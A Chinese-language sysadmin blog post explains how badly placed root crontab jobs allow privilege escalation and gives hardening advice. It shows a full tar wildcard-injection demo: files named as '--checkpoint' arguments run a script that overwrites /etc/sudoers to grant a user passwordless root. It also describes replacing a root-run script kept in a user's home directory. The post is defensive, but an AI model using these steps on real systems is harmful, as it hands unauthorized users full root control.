Linux crontab提权攻击
crontab定时任务是LINUX上最常用的一个功能,不过使用不当很容易受到提权。使用crontab时请注意以下两点:
- crontab任务千万不要写到/etc/crontab文件里,这是很危险的。通过crontab -e去创建,让他写到默认的/var/spool/cron下;
- 能不用 root 去创建尽量不用,如果一定要用root,请保存到一个其他用户进不去、改不了、看不了的位置(最好能用chattr处理下)。
为什么有这样的警告,请看下面的示例。
一、位置不当引发的提权
假设当前我们用 root 用户创建了如下一个任务:
1*/2 * * * * root sh /home/elk/test.sh
具体内容如下:
1echo www.361way.com > /tmp/test
/home/elk/test.sh文件的权限我们设置为600,属主和属组都设为root,感觉上应该还挺安全的吧,实际呢?看下图:
root并且为600权限,看起来确实不错,我们切换到elk用户时,使用echo确实发现无法正常写入(chown和chmod也不会成功的)。但由于文件存放的位置在elk的家目录下,所以elk用户实际上是有修改文件的权限的。使用vim编辑文件时,实际是可以强制修改的,而且修改后文件的属主也会变掉,当然也可以使用上面截图里的方法,mv走以后,再新建一个,内容是什么就随便你自己写了。而上面的哪段sudo的话应该也不用解释了吧。
二、tar备份引发的提权
比如我们在/etc/crontab下创建一个定时备份的任务,类似如下,这种情况是我们经常遇到的吧:
110 02 * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
当然,便于测试,我们可以把这个crontab任务的执行时间改快点,比如1分钟执行一次,为了便于演示这个效果,我这里就以直接执行的方式操作了:
1[root@localhost data]# wc -l /etc/sudoers && cp /etc/sudoers /etc/sudoers.bak
2113 /etc/sudoers
3[root@localhost data]# su - zabbix
4[zabbix@localhost ~]$ cd /data && ls -l
5total 4
6-rw-r--r-- 1 root root 84 Dec 29 17:50 demo.c
7[zabbix@localhost data]$ echo 'echo "zabbix ALL=(root) NOPASSWD: ALL" > /etc/sudoers' >test.sh
8[zabbix@localhost data]$ echo "" > "--checkpoint-action=exec=sh test.sh"
9[zabbix@localhost data]$ echo "" > --checkpoint=1
10[zabbix@localhost data]$ ll
11total 16
12-rw-rw-r-- 1 zabbix zabbix 1 Dec 29 17:54 --checkpoint=1
13-rw-rw-r-- 1 zabbix zabbix 1 Dec 29 17:54 --checkpoint-action=exec=sh test.sh
14-rw-r--r-- 1 root root 84 Dec 29 17:50 demo.c
15-rw-rw-r-- 1 zabbix zabbix 54 Dec 29 17:54 test.sh
当然,这个执行成功的条件稍微要求有些苛刻。但还是存在这种可能,而且一些人会把备份内容写成脚本,在脚本里也未必不是这种用法。而使用tar时为什么出现这种情况,让我们看下tar的checkpoint相关参数:
1--checkpoint[=NUMBER]
2 display progress messages every NUMBERth record (default 10)
3--checkpoint-action=ACTION
4 execute ACTION on each checkpoint
而上面的例子中我们创建了相关的文件,实际在执行过程中,由于我们将checkpoint值设为1,即每个文件执行一次action动作,其就将文件当成了参数,执行了sh test.sh的动作,而由于我们的crontab任务是以root权限运行的。所以test.sh里的内容都会以root权限执行。
另外这个示例中被利用的另一个条件就是crontab任务写到了/etc/crontab中,这个文件是所有用户都有读的权限的,这就会让普通用户能看到root用户执行的内容。而如果直接是crontab -e命令执行的呢,则不存在这个问题,因为crontab -e执行的结果是保存在/var/spool/cron下的,而这个目录下普通用户是没有权限查看的,如下:
1[zabbix@localhost ~]$ ls -l /var/spool/cron
2ls: cannot open directory /var/spool/cron: Permission denied
cron目录对的是root用户root组,其权限是700。
捐赠本站(Donate)
如您感觉文章有用,可扫码捐赠本站!(If the article useful, you can scan the QR code to donate))
- Author: shisekong
- Link: https://blog.361way.com/crontab-privilege/5958.html
- License: This work is under a 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议. Kindly fulfill the requirements of the aforementioned License when adapting or creating a derivative of this work.